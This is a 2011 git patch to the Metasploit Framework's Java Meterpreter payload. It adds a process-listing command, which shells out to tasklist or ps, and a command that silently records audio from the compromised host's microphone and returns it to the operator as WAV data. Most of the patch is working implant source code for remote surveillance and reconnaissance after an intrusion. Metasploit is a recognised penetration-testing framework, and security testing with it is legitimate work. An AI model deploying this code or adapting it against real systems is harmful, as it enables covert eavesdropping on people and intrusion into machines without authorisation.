From 30bc7427404abfe827a253010bc79326e9625987 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Apr 2011 22:39:25 +0000 Subject: [PATCH] merge mihi's patch for adding ps and audio recording to java meterpreter, fixes #3898 git-svn-id: file:///home/svn/framework3/trunk@12372 4d416f70-5f16-0410-b530-b9f4589650da --- external/source/meterpreter/java/build.xml | 9 +++ .../metasploit/meterpreter/stdapi/Loader.java | 2 + .../stdapi_sys_process_get_processes.java | 79 +++++++++++++++++++ .../stdapi/webcam_audio_record.java | 5 ++ .../stdapi/webcam_audio_record_V1_4.java | 59 ++++++++++++++ 5 files changed, 154 insertions(+) create mode 100644 external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java create mode 100644 external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/webcam_audio_record.java create mode 100644 external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/webcam_audio_record_V1_4.java diff --git a/external/source/meterpreter/java/build.xml b/external/source/meterpreter/java/build.xml index 69824a87e2..25bbeeb401 100644 --- a/external/source/meterpreter/java/build.xml +++ b/external/source/meterpreter/java/build.xml @@ -34,4 +34,13 @@ + + + + + + + + + diff --git a/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/Loader.java b/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/Loader.java index 3d0b89afc9..9a7403f184 100644 --- a/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/Loader.java +++ b/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/Loader.java @@ -35,6 +35,8 @@ public class Loader implements ExtensionLoader { mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class); mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class); mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3); + mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2); mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4); + mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4); } } diff --git a/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java b/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java new file mode 100644 index 0000000000..247e742223 --- /dev/null +++ b/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java @@ -0,0 +1,79 @@ +package com.metasploit.meterpreter.stdapi; + +import java.io.BufferedReader; +import java.io.File; +import java.io.InputStreamReader; +import java.util.ArrayList; +import java.util.List; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.command.Command; + +/** + * Ported from PHP meterpreter. + * + * # Works, but not very portable. There doesn't appear to be a PHP way of + * # getting a list of processes, so we just shell out to ps/tasklist.exe. I need + * # to decide what options to send to ps for portability and for information + * # usefulness. + */ +public class stdapi_sys_process_get_processes implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + List processes = new ArrayList(); + if (File.pathSeparatorChar == ';') { + Process proc = Runtime.getRuntime().exec(new String[] { "tasklist.exe", "/v", "/fo", "csv", "/nh" }); + BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); + String line; + while ((line = br.readLine()) != null) { + if (line.length() == 0) + continue; + line = line.substring(1, line.length() - 1); // strip quotes + List parts = new ArrayList(); + int pos; + // Ghetto CSV parsing + while ((pos = line.indexOf("\",\"")) != -1) { + parts.add(line.substring(0, pos)); + line = line.substring(pos + 3); + } + parts.add(line); + while (parts.size() < 7) + parts.add(""); + processes.add(new String[] { (String) parts.get(1), (String) parts.get(6), (String) parts.get(0) }); + } + br.close(); + proc.waitFor(); + } else { + Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid,user,cmd --no-header 2>/dev/null" }); + BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); + String line; + while ((line = br.readLine()) != null) { + line = line.replace('\t', ' ').trim(); + String[] process = new String[3]; + for (int i = 0; i < 2; i++) { + int pos = line.indexOf(" "); + process[i] = line.substring(0, pos); + line = line.substring(pos).trim(); + } + process[2] = line; + processes.add(process); + } + } + for (int i = 0; i < processes.size(); i++) { + String[] proc = (String[]) processes.get(i); + TLVPacket grp = new TLVPacket(); + grp.add(TLVType.TLV_TYPE_PID, new Integer(proc[0])); + grp.add(TLVType.TLV_TYPE_USER_NAME, proc[1]); + String procName = proc[2]; + if (File.pathSeparatorChar != ';' && procName.indexOf(' ') != -1) { + procName = procName.substring(0, procName.indexOf(' ')); + } + grp.add(TLVType.TLV_TYPE_PROCESS_NAME, procName); + grp.add(TLVType.TLV_TYPE_PROCESS_PATH, proc[2]); + response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp); + } + return ERROR_SUCCESS; + } +} diff --git a/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/webcam_audio_record.java b/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/webcam_audio_record.java new file mode 100644 index 0000000000..bff41e5e08 --- /dev/null +++ b/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/webcam_audio_record.java @@ -0,0 +1,5 @@ +package com.metasploit.meterpreter.stdapi; + +//Dummy class +public class webcam_audio_record { +} diff --git a/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/webcam_audio_record_V1_4.java b/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/webcam_audio_record_V1_4.java new file mode 100644 index 0000000000..5d3cf71a20 --- /dev/null +++ b/external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/webcam_audio_record_V1_4.java @@ -0,0 +1,59 @@ +package com.metasploit.meterpreter.stdapi; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; + +import javax.sound.sampled.AudioFileFormat; +import javax.sound.sampled.AudioFormat; +import javax.sound.sampled.AudioInputStream; +import javax.sound.sampled.AudioSystem; +import javax.sound.sampled.Line; +import javax.sound.sampled.Mixer; +import javax.sound.sampled.Mixer.Info; +import javax.sound.sampled.TargetDataLine; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.command.Command; +import com.sun.media.sound.WaveFileWriter; + +public class webcam_audio_record_V1_4 extends webcam_audio_record implements Command { + + private static final int TLV_EXTENSIONS = 20000; + private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1); + private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2); + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION); + TargetDataLine line = null; + Info[] mixerInfo = AudioSystem.getMixerInfo(); + for (int i = 0; i < mixerInfo.length; i++) { + Mixer mixer = AudioSystem.getMixer(mixerInfo[i]); + Line.Info[] targetLineInfo = mixer.getTargetLineInfo(); + if (targetLineInfo.length > 0) { + line = (TargetDataLine) mixer.getLine(targetLineInfo[0]); + break; + } + } + if (line == null) + throw new UnsupportedOperationException("No recording device found"); + AudioFormat af = new AudioFormat(11000, 8, 1, true, false); + line.open(af); + line.start(); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buf = new byte[(int)af.getSampleRate() * af.getFrameSize()]; + long end = System.currentTimeMillis() + 1000 * duration; + int len; + while (System.currentTimeMillis() < end && ((len = line.read(buf, 0, buf.length)) != -1)) { + baos.write(buf, 0, len); + } + line.stop(); + line.close(); + baos.close(); + AudioInputStream ais = new AudioInputStream(new ByteArrayInputStream(baos.toByteArray()), af, baos.toByteArray().length); + ByteArrayOutputStream wavos = new ByteArrayOutputStream(); + new WaveFileWriter().write(ais, AudioFileFormat.Type.WAVE, wavos); + response.add(TLV_TYPE_AUDIO_DATA, wavos.toByteArray()); + return ERROR_SUCCESS; + } +}